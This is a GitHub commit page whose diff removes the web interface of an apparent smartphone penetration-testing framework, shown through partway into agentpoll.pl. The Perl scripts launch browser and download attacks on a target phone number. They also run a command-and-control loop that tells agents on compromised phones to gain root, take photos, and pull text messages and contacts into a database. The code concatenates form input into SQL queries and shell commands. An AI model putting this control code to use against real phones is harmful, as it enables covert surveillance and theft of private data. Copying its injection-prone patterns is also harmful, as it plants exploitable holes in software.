Skip to content
This repository

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
Browse code

pulled gui for patches

  • Loading branch information...
commit ee55179a8353f46f9a1bb032e66a61f00c3f13e6 1 parent 16310b4
georgiaw authored October 24, 2012

Showing 34 changed files with 0 additions and 4,920 deletions. Show diff stats Hide diff stats

  1. BIN  frameworkgui/AndroidAgent.apk
  2. 83  frameworkgui/CSAttack.pl
  3. 80  frameworkgui/SEAttack.pl
  4. 664  frameworkgui/agentpoll.pl
  5. 155  frameworkgui/androidwebkit.pl
  6. 145  frameworkgui/attach2Agents.pl
  7. 193  frameworkgui/attachMobileModem.pl
  8. BIN  frameworkgui/bulb.jpg
  9. 21  frameworkgui/config
  10. 74  frameworkgui/createDatabase.pl
  11. 65  frameworkgui/directdownload.pl
  12. 105  frameworkgui/escalatePrivileges.pl
  13. 151  frameworkgui/getContacts.pl
  14. 137  frameworkgui/getDatabase.pl
  15. 44  frameworkgui/guessPassword.pl
  16. 96  frameworkgui/guessattack.pl
  17. BIN  frameworkgui/iphone.deb
  18. BIN  frameworkgui/littleBulb.jpg
  19. 560  frameworkgui/menu.pl
  20. 97  frameworkgui/myJavaScript.js
  21. 4  frameworkgui/passwd
  22. BIN  frameworkgui/picture.jpg
  23. 581  frameworkgui/poller.pl
  24. 388  frameworkgui/poller.pl~
  25. 40  frameworkgui/remoteAttack.pl
  26. 9  frameworkgui/search.pl
  27. 110  frameworkgui/sendSMS.pl
  28. 87  frameworkgui/sshattack.pl
  29. 239  frameworkgui/styles.css
  30. 105  frameworkgui/takePic.pl
  31. 20  frameworkgui/test.pl
  32. 158  frameworkgui/viewInfo.pl
  33. 252  frameworkgui/viewInfo2.pl
  34. 257  frameworkgui/viewInfo3.pl
BIN  frameworkgui/AndroidAgent.apk
Binary file not shown
83  frameworkgui/CSAttack.pl
... ...
@@ -1,83 +0,0 @@
1  
-#!/usr/bin/perl
2  
-use DBI;
3  
-use Cwd;
4  
-
5  
-# Read the standard input (sent by the form):
6  
-read(STDIN, $FormData, $ENV{'CONTENT_LENGTH'});
7  
-# Get the name and value for each form input:
8  
-@pairs = split(/&/, $FormData);
9  
-# Then for each name/value pair....
10  
-foreach $pair (@pairs) {
11  
-	# Separate the name and value:
12  
-	($name, $value) = split(/=/, $pair);
13  
-	# Convert + signs to spaces:
14  
-	$value =~ tr/+/ /;
15  
-	# Convert hex pairs (%HH) to ASCII characters:
16  
-	$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
17  
-	# Store values in a hash called %FORM:
18  
-	$FORM{$name} = $value;
19  
-}
20  
-
21  
-
22  
-$exploit = $FORM{"exploit"};
23  
-$hPath = $FORM{"hostingPath"};
24  
-$fileName = $FORM{"fileName"};
25  
-$phNo2Attack = $FORM{"phNo2Attack"};
26  
-$modemNo = $FORM{"modemNoDD2"};
27  
-
28  
-##----- put your code here
29  
-$dir = getcwd;
30  
-$configfile = $dir . "/config";
31  
-open(CONFIG, "+<$configfile");
32  
-while (<CONFIG>)
33  
-{
34  
-        chomp;
35  
-        s/#.*//;
36  
-        s/^\s+//;
37  
-        s/\s+$//;
38  
-        ($var, $value) = split(/\s*=\s*/, $_, 2);
39  
-        $Variables{$var} = ${value};
40  
-}
41  
-#print "Content-type: text/html\r\n\r\n";
42  
-$webserver = $Variables{"WEBSERVER"};
43  
-
44  
-$Variables{"OS"} = $^O;
45  
- $sqlserver = $Variables{"MYSQLSERVER"};
46  
-        $username = $Variables{"MYSQLUSER"};
47  
-        $password = $Variables{"MYSQLPASS"};
48  
-        $port = $Variables{"MYSQLPORT"};
49  
-  $type = $Variables{"DATABASETYPE"};
50  
-                                        if ($type eq "postgres")
51  
-                                        {
52  
-                                                $dbh = DBI->connect("DBI:Pg:dbname=framework;host=$sqlserver",$username,$password);
53  
-						$selectquery = "SELECT id from modems where number=" .  "\'" . $modemNo . "\'";
54  
-
55  
-                                        }
56  
-                                        elsif ($type eq "mysql")
57  
-                                        {
58  
-                                                $dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
59  
-						$selectquery = "SELECT id from modems where number=" .  $modemNo;
60  
-
61  
-                                        }
62  
-
63  
-			$sql = $dbh->prepare($selectquery);
64  
-			$results = $sql->execute;
65  
-			@rows = $sql->fetchrow_array();
66  
-			$modem = @rows[0];
67  
-$startcommand = "perl androidwebkit.pl " . $hPath . " " . $fileName . " " . $phNo2Attack . " " . $modem; 
68  
-                        $pid = fork;
69  
-                        die "fork failed" unless defined $pid;
70  
-                        if ($pid ==0)
71  
-                        {
72  
-			
73  
-                        system($startcommand);
74  
-			
75  
-			
76  
-                        }
77  
-
78  
-
79  
-
80  
-##----- end of your code
81  
-
82  
-my $url = "menu.pl";
83  
-print "Location: $url\n\n";
80  frameworkgui/SEAttack.pl
... ...
@@ -1,80 +0,0 @@
1  
-#!/usr/bin/perl
2  
-use DBI;
3  
-use Cwd;
4  
-
5  
-# Read the standard input (sent by the form):
6  
-read(STDIN, $FormData, $ENV{'CONTENT_LENGTH'});
7  
-# Get the name and value for each form input:
8  
-@pairs = split(/&/, $FormData);
9  
-# Then for each name/value pair....
10  
-foreach $pair (@pairs) {
11  
-	# Separate the name and value:
12  
-	($name, $value) = split(/=/, $pair);
13  
-	# Convert + signs to spaces:
14  
-	$value =~ tr/+/ /;
15  
-	# Convert hex pairs (%HH) to ASCII characters:
16  
-	$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
17  
-	# Store values in a hash called %FORM:
18  
-	$FORM{$name} = $value;
19  
-}
20  
-
21  
-
22  
-$platform = $FORM{"platformDD2"};
23  
-$path = $FORM{"hostingPath"};
24  
-$filename = $FORM{"fileName"};
25  
-$number = $FORM{"phNo2Attack"};
26  
-$modemNo = $FORM{"modemNoDD2"};
27  
-
28  
-
29  
-##----- put your code here
30  
-$dir = getcwd;
31  
-$configfile = $dir . "/config";
32  
-open(CONFIG, "+<$configfile");
33  
-while (<CONFIG>)
34  
-{
35  
-        chomp;
36  
-        s/#.*//;
37  
-        s/^\s+//;
38  
-        s/\s+$//;
39  
-        ($var, $value) = split(/\s*=\s*/, $_, 2);
40  
-        $Variables{$var} = ${value};
41  
-}
42  
-#print "Content-type: text/html\r\n\r\n";
43  
-$webserver = $Variables{"WEBSERVER"};
44  
-
45  
-$Variables{"OS"} = $^O;
46  
- $sqlserver = $Variables{"MYSQLSERVER"};
47  
-        $username = $Variables{"MYSQLUSER"};
48  
-        $password = $Variables{"MYSQLPASS"};
49  
-        $port = $Variables{"MYSQLPORT"};
50  
- $type = $Variables{"DATABASETYPE"};
51  
-
52  
-                          if ($type eq "postgres")
53  
-                        {
54  
-                                $dbh = DBI->connect("DBI:Pg:dbname=framework;host=$sqlserver",$username,$password);
55  
-                        }
56  
-
57  
-                        elsif ($type eq "mysql")
58  
-                        {
59  
-                               $dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
60  
-                        }
61  
-
62  
-$selectquery = "SELECT id from modems where number=" . "\'" . $modemNo . "\'";
63  
-			$sql = $dbh->prepare($selectquery);
64  
-			$results = $sql->execute;
65  
-			@rows = $sql->fetchrow_array();
66  
-			$modem = @rows[0];
67  
-$startcommand = "perl directdownload.pl " . $path . " " . $filename . 
68  
-" " . $number . " " . $platform . " " . $modem; 
69  
-                        $pid = fork;
70  
-                        die "fork failed" unless defined $pid;
71  
-                        if ($pid ==0)
72  
-                        {
73  
-			
74  
-                        system($startcommand);
75  
-}
76  
-#print $startcommand;
77  
-##----- end of your code
78  
-
79  
-my $url = "menu.pl";
80  
-print "Location: $url\n\n";
664  frameworkgui/agentpoll.pl
... ...
@@ -1,664 +0,0 @@
1  
-#!/usr/bin/perl
2  
-use DBI;
3  
-use Cwd;
4  
-use Expect;
5  
-use IO::Socket;
6  
-$configfile = "config";
7  
- open(CONFIG, "+<$configfile");
8  
-while (<CONFIG>)
9  
-{
10  
-        chomp;
11  
-        s/#.*//;
12  
-        s/^\s+//;
13  
-        s/\s+$//;
14  
-        ($var, $value) = split(/\s*=\s*/, $_, 2);
15  
-        $Variables{$var} = ${value};
16  
-}
17  
-$Variables{"OS"} = $^O;
18  
-$ipaddress = $Variables{"IPADDRESS"};
19  
-$webserver = $Variables{"WEBSERVER"};
20  
-$path = $ARGV[0];
21  
-$key = $ARGV[1];
22  
-$id = $ARGV[2];
23  
-$sqlserver = $Variables{"MYSQLSERVER"};
24  
-while(1)
25  
-	{
26  
-	$fullpath5 = $webserver . $path . "/putfunc";
27  
-        open(PUTFILE, "+<$fullpath5");
28  
-        $line= <PUTFILE>;
29  
-	close(PUTFILE);
30  
-	open(PUTFILE2, ">$fullpath5");
31  
-	print PUTFILE2;
32  
-	close(PUTFILE2);
33  
-	$catcommand = "cat " . $fullpath5 . " | sed '1d' > hold";
34  
-	system($catcommand);
35  
-	$catcommand2 = "mv hold " . $fullpath;
36  
-	system($catcommand);
37  
-	@split = split(/ /, $line);
38  
-	if (@split[0] eq $key)
39  
-	{
40  
-		if (@split[1] eq "ROOT")
41  
-		{
42  
-			$delivery = @split[2];
43  
-			chomp($delivery);
44  
-			$command = $key . " " . "ROOT"; 
45  
-                	if ($delivery eq "HTTP")
46  
-                	{
47  
-                        	$control = $webserver . $path . "/control";
48  
-                        	open(CONTROLFILE, ">$control");
49  
-                        	print CONTROLFILE $command;
50  
-                        	close(CONTROLFILE);
51  
-                        	sleep 60;
52  
-                       		$text = $webserver . $path . "/text.txt";
53  
-                       		open(TEXTFILE, "+<$text");
54  
-                       		$line= <TEXTFILE>;
55  
-                       		if ($line eq "Root Succeeded")
56  
-                       		{
57  
-                               		$table = "data";
58  
-					$username = $Variables{"MYSQLUSER"};
59  
-                                	$password = $Variables{"MYSQLPASS"};
60  
-                                	$port = $Variables{"MYSQLPORT"};
61  
-                                	 $type = $Variables{"DATABASETYPE"};
62  
-					if ($type eq "postgres")
63  
-                			{
64  
-                        			$dbh = DBI->connect("DBI:Pg:dbname=framework;host=$sqlserver",$username,$password);
65  
-					}
66  
-  					elsif ($type eq "mysql")
67  
-             			        {    		 
68  
-			  			$dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
69  
-                			}
70  
-                               		$yes = "yes";
71  
-                               		$insertquery = "UPDATE $table SET root=" . "'" . $yes . "'" . " WHERE id=" . "'" . $id . "'";
72  
-                               		$sql = $dbh->prepare($insertquery);
73  
- 			       		$sql->execute;
74  
-                       		}
75  
-                       		close(TEXTFILE);
76  
-                       		open(TEXTFILE2, ">$text");
77  
-                       		print TEXTFILE2 "";
78  
-                       		close(TEXTFILE2);
79  
-			}
80  
-			if ($delivery eq "SMS")
81  
-                	{
82  
-                       		$modem = @split[3];
83  
-				chomp($modem);
84  
-				$username = $Variables{"MYSQLUSER"};
85  
-                                $password = $Variables{"MYSQLPASS"};
86  
-                                $port = $Variables{"MYSQLPORT"};
87  
-                                $type = $Variables{"DATABASETYPE"};
88  
-                                if ($type eq "postgres")
89  
-                                {
90  
-                                       $dbh = DBI->connect("DBI:Pg:dbname=framework;host=$sqlserver",$username,$password);
91  
-                                }
92  
-                                elsif ($type eq "mysql")
93  
-                                {
94  
-                                       $dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
95  
-                                }
96  
-                       		$pathquery = "SELECT path from modems where id=" . $modem;
97  
-                       		$sql = $dbh->prepare($pathquery);
98  
-                        	$results = $sql->execute;
99  
-                        	@rows = $sql->fetchrow_array();
100  
-                        	$path2 = @rows[0];
101  
-                        	$keyquery = "SELECT controlkey from modems where id=" . $modem;
102  
-                        	$sql = $dbh->prepare($keyquery);
103  
-                        	$results2 = $sql->execute;
104  
-                        	@rows = $sql->fetchrow_array();
105  
-                        	$key2 = @rows[0];
106  
-                        	$numberquery = "SELECT number from agents where id=" . $id;
107  
-                        	$sql = $dbh->prepare($numberquery);
108  
-                        	$results = $sql->execute;
109  
-                        	@rows = $sql->fetchrow_array();
110  
-                        	$number2 = @rows[0];
111  
-                        	$command2 = $key2 . " " . "SEND" . " " . $number2 . " " . $command;
112  
-		        	$control = $webserver . $path2 . "/getfunc";
113  
-                        	open(CONTROLFILE, ">$control");
114  
-                        	print CONTROLFILE $command2;
115  
-                        	close(CONTROLFILE);
116  
-                        	sleep 60;
117  
-                        	$text = $webserver . $path . "/text.txt";
118  
-                        	open(TEXTFILE, "+<$text");
119  
-                        	$line= <TEXTFILE>;
120  
-                        	if ($line eq "Root Succeeded")
121  
-                        	{
122  
-                               		$table = "data";
123  
-                               	 	$yes = "yes";
124  
-                                	$insertquery = "UPDATE $table SET root=" . "'" . $yes . "'" . " WHERE id=" . "'" . $id . "'";
125  
-                                	$sql = $dbh->prepare($insertquery);
126  
-                                	$sql->execute;
127  
-                         	}
128  
-                        	close(TEXTFILE);
129  
-                        	open(TEXTFILE2, ">$text");
130  
-				print TEXTFILE2 "";
131  
-                        	close(TEXTFILE2);
132  
-
133  
-			}
134  
-
135  
-		
136  
-		}
137  
-		elsif (@split[1] eq "PICT")
138  
-		{
139  
-			$delivery = @split[2];
140  
-			chomp($delivery);
141  
-			$command = $key . " " . "PICT"; 
142  
-                	if ($delivery eq "HTTP")
143  
-                	{
144  
-                        	$control = $webserver . $path . "/control";
145  
-                        	open(CONTROLFILE, ">$control");
146  
-                        	print CONTROLFILE $command;
147  
-                        	close(CONTROLFILE);
148  
-                        	sleep 30;
149  
-                        	$picturefile = $webserver . $path . "/picture.jpg";
150  
-                        	open(PICTURE, "+<$picturefile");
151  
-                        	if (!(-z PICTURE))
152  
-                        	{
153  
-                                	$command = "cp" . " " . $picturefile . " " . ".";                               
154  
-                                	system($command);
155  
-                                	$picturedir = getcwd();
156  
-                                	$table = "data";
157  
-                                	$picture = $picturedir . "/" . "picture.jpg";
158  
-                                	$sqlserver = $Variables{"MYSQLSERVER"};
159  
-                                	$username = $Variables{"MYSQLUSER"};
160  
-                                	$password = $Variables{"MYSQLPASS"};
161  
-                                	$port = $Variables{"MYSQLPORT"};
162  
-					  $type = $Variables{"DATABASETYPE"};
163  
-                                        if ($type eq "postgres")
164  
-                                        {
165  
-                                                $dbh = DBI->connect("DBI:Pg:dbname=framework;host=$sqlserver",$username,$password);
166  
-                                        }
167  
-                                        elsif ($type eq "mysql")
168  
-                                        {
169  
-                                                $dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
170  
-                                        }
171  
-                                	$insertquery = "UPDATE $table SET picture=" . "'" . $picture . "'" . " WHERE id=" . "'" . $id . "'";
172  
-                                	$sql = $dbh->prepare($insertquery);
173  
-                                	$sql->execute;
174  
-                                	close(PICTURE);
175  
-                                	open(PICTURE2, ">$picturefile");
176  
-                                	print PICTURE2 "";
177  
-                                	close(PICTURE2);
178  
-                        	}       
179  
-                      
180  
-                	}
181  
-                	if ($delivery eq "SMS")
182  
-                	{
183  
-                        	$modem = @split[3];
184  
-				chomp($modem);
185  
-				 $sqlserver = $Variables{"MYSQLSERVER"};
186  
-                                $username = $Variables{"MYSQLUSER"};
187  
-                                $password = $Variables{"MYSQLPASS"};
188  
-                                $port = $Variables{"MYSQLPORT"};
189  
-                                  $type = $Variables{"DATABASETYPE"};
190  
-                                        if ($type eq "postgres")
191  
-                                        {
192  
-                                                $dbh = DBI->connect("DBI:Pg:dbname=framework;host=$sqlserver",$username,$password);
193  
-                                        }
194  
-                                        elsif ($type eq "mysql")
195  
-                                        {
196  
-                                                $dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
197  
-                                        }
198  
-
199  
-                                $pathquery = "SELECT path from modems where id=" . $modem;
200  
-                                $sql = $dbh->prepare($pathquery);
201  
-                                $results = $sql->execute;
202  
-                                @rows = $sql->fetchrow_array();
203  
-                                $path2 = @rows[0];
204  
-                                $keyquery = "SELECT controlkey from modems where id=" . $modem;
205  
-                                $sql = $dbh->prepare($keyquery);
206  
-                                $results2 = $sql->execute;
207  
-                                @rows = $sql->fetchrow_array();
208  
-                                $key2 = @rows[0];
209  
-                                 $numberquery = "SELECT number from agents where id=" . $id;
210  
-                                $sql = $dbh->prepare($numberquery);
211  
-                                $results = $sql->execute;
212  
-                                @rows = $sql->fetchrow_array();
213  
-				$number2 = @rows[0];
214  
-                                $control = $webserver . $path2 . "/getfunc";
215  
-                                open(CONTROLFILE, ">$control");
216  
-                                $command2 = $key2 . " " . "SEND" . " " . $number2 . " " . $command;
217  
-                                print CONTROLFILE $command2;
218  
-                                close(CONTROLFILE);
219  
-                                sleep(60);
220  
-                                $picturefile = $webserver . $path . "/picture.jpg";
221  
-                                open(PICTURE, "+<$picturefile");
222  
-                                if (!(-z PICTURE))
223  
-                                {
224  
-                                        $command = "cp" . " " . $picturefile . " " . ".";                               
225  
-                                        system($command);
226  
-                                        $picturedir = getcwd();
227  
-                                        $table = "data";
228  
-                                        $picture = $picturedir . "/" . "picture.jpg";
229  
-                                        $insertquery = "UPDATE $table SET picture=" . "'" . $picture . "'" . " WHERE id=" . "'" . $id . "'";
230  
-                                        $sql = $dbh->prepare($insertquery);
231  
-					$sql->execute;
232  
-                                        close(PICTURE);
233  
-                                        open(PICTURE2, ">$picturefile");
234  
-                                        print PICTURE2 "";
235  
-                                        close(PICTURE2);
236  
-				}
237  
-
238  
-			}
239  
-		}
240  
-		elsif (@split[1] eq "SMSS")
241  
-		{
242  
-			$deliverymethod = @split[2];
243  
-			$returnmethod = @split[3];
244  
-			chomp($returnmethod);
245  
-			 if ($returnmethod eq "SMS")
246  
-                	{
247  
-				$modem = @split[4];
248  
-				chomp($modem);	
249  
-				$sqlserver = $Variables{"MYSQLSERVER"};
250  
-                        	$username = $Variables{"MYSQLUSER"};
251  
-                        	$password = $Variables{"MYSQLPASS"};
252  
-                        	$port = $Variables{"MYSQLPORT"};
253  
-                        	  $type = $Variables{"DATABASETYPE"};
254  
-                                        if ($type eq "postgres")
255  
-                                        {
256  
-                                                $dbh = DBI->connect("DBI:Pg:dbname=framework;host=$sqlserver",$username,$password);
257  
-                                        }
258  
-                                        elsif ($type eq "mysql")
259  
-                                        {
260  
-                                                $dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
261  
-                                        }
262  
-
263  
-                        	$pathquery = "SELECT path from modems where id=" . $modem;
264  
-                        	$sql = $dbh->prepare($pathquery);
265  
-                        	$results = $sql->execute;
266  
-                        	@rows = $sql->fetchrow_array();
267  
-                        	$path2 = @rows[0];
268  
-                        	$command = $key . " " . "SMSS" . " " . $returnmethod; 
269  
-				if ($deliverymethod eq "HTTP")
270  
-                        	{
271  
-                                	$control = $webserver . $path . "/control";
272  
-                                	open(CONTROLFILE, ">$control");
273  
-                                	print CONTROLFILE $command;
274  
-                                	close(CONTROLFILE);
275  
-                                	sleep 60;
276  
-                                	$text = $webserver . $path2 . "/text.txt";
277  
-                                	open(TEXTFILE, "+<$text");
278  
-                                	$line= <TEXTFILE>;
279  
-                                	$table = "data";
280  
-                                	$insertquery = "UPDATE $table SET sms=" . "'" . $line . "'" . " WHERE id=" . "'" . $id . "'";
281  
-                                	$sql = $dbh->prepare($insertquery);
282  
-                                	$sql->execute;
283  
-                                	close(TEXTFILE);
284  
-                                	open(TEXTFILE2, ">$text");
285  
-                                	print TEXTFILE2 "";
286  
-                                	close(TEXTFILE2);
287  
-				}
288  
-			 	if ($deliverymethod eq "SMS")
289  
-                         	{
290  
-					print "SMS";
291  
-                  			$keyquery = "SELECT controlkey from modems where id=" . $modem;
292  
-                                	$sql = $dbh->prepare($keyquery);
293  
-                                	$results2 = $sql->execute;
294  
-                                	@rows = $sql->fetchrow_array();
295  
-                                	$key2 = @rows[0];
296  
-                                 	$numberquery = "SELECT number from agents where id=" . $id;
297  
-                                	$sql = $dbh->prepare($numberquery);
298  
-                                	$results = $sql->execute;
299  
-                                	@rows = $sql->fetchrow_array();
300  
-                                	$number2 = @rows[0];
301  
-                                	$command2 = $key2 . " " . "SEND" . " " . $number2 . " " . $command;
302  
-                                 	$control = $webserver . $path2 . "/getfunc";
303  
-                                	open(CONTROLFILE, ">$control");
304  
-                                 	print CONTROLFILE $command2;
305  
-                                	close(CONTROLFILE);
306  
-                                        sleep 60;
307  
-                                	$text = $webserver . $path2 . "/text.txt";
308  
-                                	open(TEXTFILE, "+<$text");
309  
-                                	$line= <TEXTFILE>;
310  
-		                        $table = "data";
311  
-                                	$insertquery = "UPDATE $table SET sms=" . "'" . $line . "'" . " WHERE id=" . "'" . $id . "'";
312  
-                                	$sql = $dbh->prepare($insertquery);
313  
-                                	$sql->execute;
314  
-                                	close(TEXTFILE);
315  
-                                	open(TEXTFILE2, ">$text");
316  
-                                	print TEXTFILE2 "";
317  
-                                	close(TEXTFILE2);
318  
-				}
319  
-			}
320  
-			 if ($returnmethod eq "HTTP")
321  
-                	{
322  
-                        	$command = $key . " " . "SMSS" . " " . "WEB";
323  
-                        	if ($deliverymethod eq "HTTP")
324  
-                        	{
325  
-                                	$control = $webserver . $path . "/control";
326  
-                                	open(CONTROLFILE, ">$control");
327  
-                                	print CONTROLFILE $command;
328  
-                               	 	close(CONTROLFILE);
329  
-                                	sleep 30;
330  
-                                	$text = $webserver . $path . "/text.txt";
331  
-                                	open(TEXTFILE, "+<$text");
332  
-                                	$line= <TEXTFILE>;
333  
-                                	$table = "data";
334  
-                                	$username = $Variables{"MYSQLUSER"};
335  
-        	                        $password = $Variables{"MYSQLPASS"};
336  
-	                                $port = $Variables{"MYSQLPORT"};
337  
-                	                  $type = $Variables{"DATABASETYPE"};
338  
-                                        if ($type eq "postgres")
339  
-                                        {
340  
-                                                $dbh = DBI->connect("DBI:Pg:dbname=framework;host=$sqlserver",$username,$password);
341  
-                                        }
342  
-                                        elsif ($type eq "mysql")
343  
-                                        {
344  
-                                                $dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
345  
-                                        }
346  
-
347  
-                                	$insertquery = "UPDATE $table SET sms=" . "'" . $line . "'" . " WHERE id=" . "'" . $id . "'";
348  
-                                	$sql = $dbh->prepare($insertquery);
349  
-					close(TEXTFILE);
350  
-                                	open(TEXTFILE2, ">$text");
351  
-                                	print TEXTFILE2 "";
352  
-                                	close(TEXTFILE2); 
353  
-	                               	$sql->execute;
354  
-  				}
355  
-                        	if ($deliverymethod eq "SMS")
356  
-                        	{
357  
-                              		$modem = @split[4];
358  
-					chomp($modem);
359  
-					 $username = $Variables{"MYSQLUSER"};
360  
-                                        $password = $Variables{"MYSQLPASS"};
361  
-                                        $port = $Variables{"MYSQLPORT"};
362  
-                                          $type = $Variables{"DATABASETYPE"};
363  
-                                        if ($type eq "postgres")
364  
-                                        {
365  
-                                                $dbh = DBI->connect("DBI:Pg:dbname=framework;host=$sqlserver",$username,$password);
366  
-                                        }
367  
-                                        elsif ($type eq "mysql")
368  
-                                        {
369  
-                                                $dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
370  
-                                        }
371  
-
372  
-                         		$pathquery = "SELECT path from modems where id=" . $modem;
373  
-                                	$sql = $dbh->prepare($pathquery);
374  
-                                	$results = $sql->execute;
375  
-                                	@rows = $sql->fetchrow_array();
376  
-                                	$path2 = @rows[0];
377  
-                                	$keyquery = "SELECT controlkey from modems where id=" . $modem;
378  
-                                	$sql = $dbh->prepare($keyquery);
379  
-                                	$results2 = $sql->execute;
380  
-                                	@rows = $sql->fetchrow_array();
381  
-                                	$key2 = @rows[0];
382  
-                                 	$numberquery = "SELECT number from agents where id=" . $id;
383  
-                                	$sql = $dbh->prepare($numberquery);
384  
-                                	$results = $sql->execute;
385  
-                                	@rows = $sql->fetchrow_array();
386  
-                                	$number2 = @rows[0];
387  
-                              		$command2 = $key2 . " " . "SEND" . " " . $number2 . " " . $command;
388  
-                                 	$control = $webserver . $path2 . "/getfunc";
389  
-                                	open(CONTROLFILE, ">$control");
390  
-                                 	print CONTROLFILE $command2;
391  
-                                	close(CONTROLFILE);
392  
-                                        sleep 60;
393  
-                                	$text = $webserver . $path . "/text.txt";
394  
-                                	open(TEXTFILE, "+<$text");
395  
-                                	$line= <TEXTFILE>;
396  
-                                	$table = "data";
397  
-                                	$insertquery = "UPDATE $table SET sms=" . "'" . $line . "'" . " WHERE id=" . "'" . $id . "'";
398  
-                                	$sql = $dbh->prepare($insertquery);
399  
-                                	$sql->execute;
400  
-                                	close(TEXTFILE);
401  
-                                	open(TEXTFILE2, ">$text");
402  
-                                	print TEXTFILE2 "";
403  
-                                	close(TEXTFILE2);
404  
-				}
405  
-			}	
406  
-
407  
-		}
408  
-		elsif (@split[1] eq "CONT")
409  
-		{
410  
-			$deliverymethod = @split[2];
411  
-                        $returnmethod = @split[3];
412  
-			chomp($returnmethod);
413  
-			if ($returnmethod eq "SMS")
414  
-			{
415  
-				$modem = @split[4];
416  
-				chomp($modem);
417  
-				$sqlserver = $Variables{"MYSQLSERVER"};
418  
-                		$username = $Variables{"MYSQLUSER"};
419  
-                		$password = $Variables{"MYSQLPASS"};
420  
-                		$port = $Variables{"MYSQLPORT"};
421  
-                                          $type = $Variables{"DATABASETYPE"};
422  
-                                        if ($type eq  "postgres")
423  
-                                        {
424  
-                                                $dbh = DBI->connect("DBI:Pg:dbname=framework;host=$sqlserver",$username,$password);
425  
-                                        }
426  
-                                        elsif ($type eq "mysql")
427  
-                                        {
428  
-                                                $dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
429  
-                                        }
430  
-
431  
-			 	$pathquery = "SELECT path from modems where id=" . $modem;
432  
-                        	$sql = $dbh->prepare($pathquery);
433  
-                        	 $results = $sql->execute;
434  
-                                @rows = $sql->fetchrow_array();
435  
-                                $path2 = @rows[0];
436  
-				$command = $key . " " . "CONT" . " " . $returnmethod; 
437  
-				if ($deliverymethod eq "HTTP")
438  
-				{
439  
-					$control = $webserver . $path . "/control";
440  
-					open(CONTROLFILE, ">$control");
441  
-       		        		print CONTROLFILE $command;
442  
-                        		close(CONTROLFILE);
443  
-					sleep 60;
444  
-					$text = $webserver . $path2 . "/text.txt";
445  
-                                	open(TEXTFILE, "+<$text");
446  
-                                	$line= <TEXTFILE>;
447  
-					$table = "data";
448  
-					$insertquery = "UPDATE $table SET contacts=" . "'" . $line . "'" . " WHERE id=" . "'" . $id . "'";
449  
-					$sql = $dbh->prepare($insertquery);
450  
-					$sql->execute;
451  
-					close(TEXTFILE);
452  
-					open(TEXTFILE2, ">$text");
453  
-					print TEXTFILE2 "";
454  
-					close(TEXTFILE2);
455  
-
456  
-		
457  
-				}
458  
-				if ($deliverymethod eq "SMS")
459  
-				{
460  
-					$keyquery = "SELECT controlkey from modems where id=" . $modem;
461  
-                                	$sql = $dbh->prepare($keyquery);
462  
-                                	$results2 = $sql->execute;
463  
-                                	@rows = $sql->fetchrow_array();
464  
-                                	$key2 = @rows[0];
465  
-				 	$numberquery = "SELECT number from agents where id=" . $id;
466  
-                                	$sql = $dbh->prepare($numberquery);
467  
-                                	$results = $sql->execute;
468  
-                               		@rows = $sql->fetchrow_array();
469  
-                               		$number2 = @rows[0];
470  
-					$command2 = $key2 . " " . "SEND" . " " . $number2 . " " . $command;
471  
-			 		$control = $webserver . $path2 . "/getfunc";
472  
-                       			open(CONTROLFILE, ">$control");
473  
-			 		print CONTROLFILE $command2;
474  
-                        		close(CONTROLFILE);
475  
-					sleep 60;
476  
-					$text = $webserver . $path2 . "/text.txt";
477  
-                                	open(TEXTFILE, "+<$text");
478  
-					$line= <TEXTFILE>;
479  
-					$table = "data";
480  
-					$insertquery = "UPDATE $table SET contacts=" . "'" . $line . "'" . " WHERE id=" . "'" . $id . "'";
481  
-					$sql = $dbh->prepare($insertquery);
482  
-					$sql->execute;
483  
-					close(TEXTFILE);
484  
-					open(TEXTFILE2, ">$text");
485  
-					print TEXTFILE2 "";
486  
-					close(TEXTFILE2);
487  
-
488  
-						
489  
-				}
490  
-		
491  
-			}
492  
-		
493  
-			if ($returnmethod eq "HTTP")
494  
-                	{
495  
-                        	$command = $key . " " . "CONT" . " " . "WEB";
496  
-                        	if ($deliverymethod eq "HTTP")
497  
-                        	{
498  
-                                	$control = $webserver . $path . "/control";
499  
-                                	open(CONTROLFILE, ">$control");
500  
-					print CONTROLFILE $command;
501  
-                                	close(CONTROLFILE);
502  
-					sleep 30;
503  
-					$text = $webserver . $path . "/text.txt";
504  
-                                	open(TEXTFILE, "+<$text");
505  
-                                	$line= <TEXTFILE>;
506  
-					$table = "data";
507  
-					$sqlserver = $Variables{"MYSQLSERVER"};
508  
-                			$username = $Variables{"MYSQLUSER"};
509  
-                			$password = $Variables{"MYSQLPASS"};
510  
-                			$port = $Variables{"MYSQLPORT"};
511  
-                			    $type = $Variables{"DATABASETYPE"};
512  
-                                        if ($type eq "postgres")
513  
-                                        {
514  
-                                                $dbh = DBI->connect("DBI:Pg:dbname=framework;host=$sqlserver",$username,$password);
515  
-                                        }
516  
-                                        elsif ($type eq "mysql")
517  
-                                        {
518  
-                                                $dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
519  
-                                        }
520  
-					$insertquery = "UPDATE $table SET contacts=" . "'" . $line . "'" . " WHERE id=" . "'" . $id . "'";
521  
-					$sql = $dbh->prepare($insertquery);
522  
-					$sql->execute;
523  
-					close(TEXTFILE);
524  
-					open(TEXTFILE2, ">$text");
525  
-					print TEXTFILE2 "";
526  
-					close(TEXTFILE2);
527  
-   				}
528  
-				if ($deliverymethod eq "SMS")
529  
-				{
530  
-					$modem = @split[4];
531  
-					chomp($modem);
532  
-					$sqlserver = $Variables{"MYSQLSERVER"};
533  
